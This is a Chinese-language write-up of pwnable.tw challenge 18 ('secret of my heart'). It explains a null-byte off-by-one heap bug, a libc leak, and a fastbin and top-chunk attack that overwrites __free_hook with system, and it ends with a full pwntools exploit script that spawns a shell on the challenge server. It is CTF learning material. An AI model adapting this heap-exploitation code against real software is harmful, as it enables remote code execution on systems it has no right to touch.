从pwnabke.tw第18题看free_hook覆盖

pwnabke.tw第18题 secret of my heart
开始发布在看雪上,现在搬到自己博客。
地址为https://pwnable.tw/challenge/

0x00 信息收集

checksec

0x01 流程分析

常规菜单
checksec
1.添加功能
checksec
可申请不大于0x100的堆,自由度很大。函数存在明显的 nullbyte off-by-one漏洞。
2 show功能
.checksec
可用来泄露地址。
3 删除功能
.checksec
先free再将指针清零,无漏洞点。

0x02 程序分析

1.程序首先mmap一块随机地址的内存空间。
2.将申请的内存空间作为数组。数组成员为0x30字节的结构体。
3.结构体的组成为,0x0偏移为申请堆的大小,0x8偏移为堆的地址,0x10偏移为堆的名字字符串。

0x03 攻击分析

1.信息泄露
由于程序存在0字节溢出,导致在申请堆块时总会填入0字节,printf函数无法输出内存信息。
通过堆块重叠的办法使一个堆块的成为unsorted bin但指针仍未被请0

2.漏洞利用
null-by-one的fastbin利用可参考上一篇文章https://bbs.pediy.com/thread-229400.htm。

在一番堆块申请后我们可以得到fastbin-attack攻击的机会。常规思路是覆盖malloc-hook为one-gadget但是经过尝试所有的one_gadget受限制不能使用。
于是老老实实使用system(bin/sh)的办法拿到shell。

程序开启了FULL RELRO,修改got表不可行。于是选择修改free-hook为system地址,free一块内容为bin/sh的堆块即可完成利用。
free—hook上方有大量0x00字节,直接fastbin_attack不可行

可以通过修改main_arena中top chunk地址为free_hook上方地址,多次申请最终申请到free_hook的地址。
free_hook-0xb58位置存在可利用数据用来修改topchunk。
.checksec
通过fastbin_attack修改topchunk。
我们可以申请大小为0x70的堆到top_chunk上方fastbin数组位置,但可写入长度不够无法覆盖至topchunk。
.checksec
在fastbin数组中构造伪造size0x71,并将0x70fastbin数组的位置指向伪造堆块。
.checksec
之后写入数据即可覆盖topchunk至 free_hook-0xb58,多次申请内存,修改free_hook为system地址,完成利用

0x04 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
p=remote('chall.pwnable.tw',10302)
e=ELF('./libc_64.so.6')
p.recvuntil('Your choice :')
context(log_level='debug')
def ad(a,b,c):
p.sendline('1')
p.recvuntil('Size of heart :')
p.sendline(str(a))
p.recvuntil('Name of heart :')
p.sendline(b)
p.recvuntil('secret of my heart :')
p.send(c)
p.recvuntil('Your choice :')
def de(a):
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(a))
p.recvuntil('Your choice :')
ad(0xf8,'123','/bin/sh'+chr(0))
ad(0x68,'123','/bin/sh'+chr(0))
ad(0xf8,'123','/bin/sh'+chr(0))
ad(0x68,'123','/bin/sh')
ad(0x68,'123','123')
de(1)
de(0)
ad(0x68,'123','/bin/sh'+chr(0)+'a'*0x58+p64(0x170)) #0
de(2)
ad(0xf8,'123','/bin/sh'+chr(0))
p.sendline('2')
p.recvuntil('Index :')
p.sendline('0')
p.recvuntil('Secret : ')
libc=u64(p.recv(6)+chr(0x0)*2)-0x3c3b78
malloc_hook=libc+e.symbols['__malloc_hook']-0x23+0x18
ad(0x68,'123','123')
de(0)
de(3)
de(2)

free_hook=libc+e.symbols['__free_hook']
system=libc+e.symbols['system']
ad(0x68,'123',p64(malloc_hook))

ad(0x68,'123','123')
ad(0x68,'123','123')

ad(0x68,'123',chr(0x0)*0x1b+p64(0)+p64(0x70)*3+p64(malloc_hook+0x2b))

ad(0x68,'123',chr(0)*0x38+p64(free_hook-0xb58))
for i in range(0,19):
ad(0x90,'123','123')
ad(0x90,'123','a'*8+p64(system))
p.sendline('3')
p.recvuntil('Index')
p.sendline('1')
p.interactive()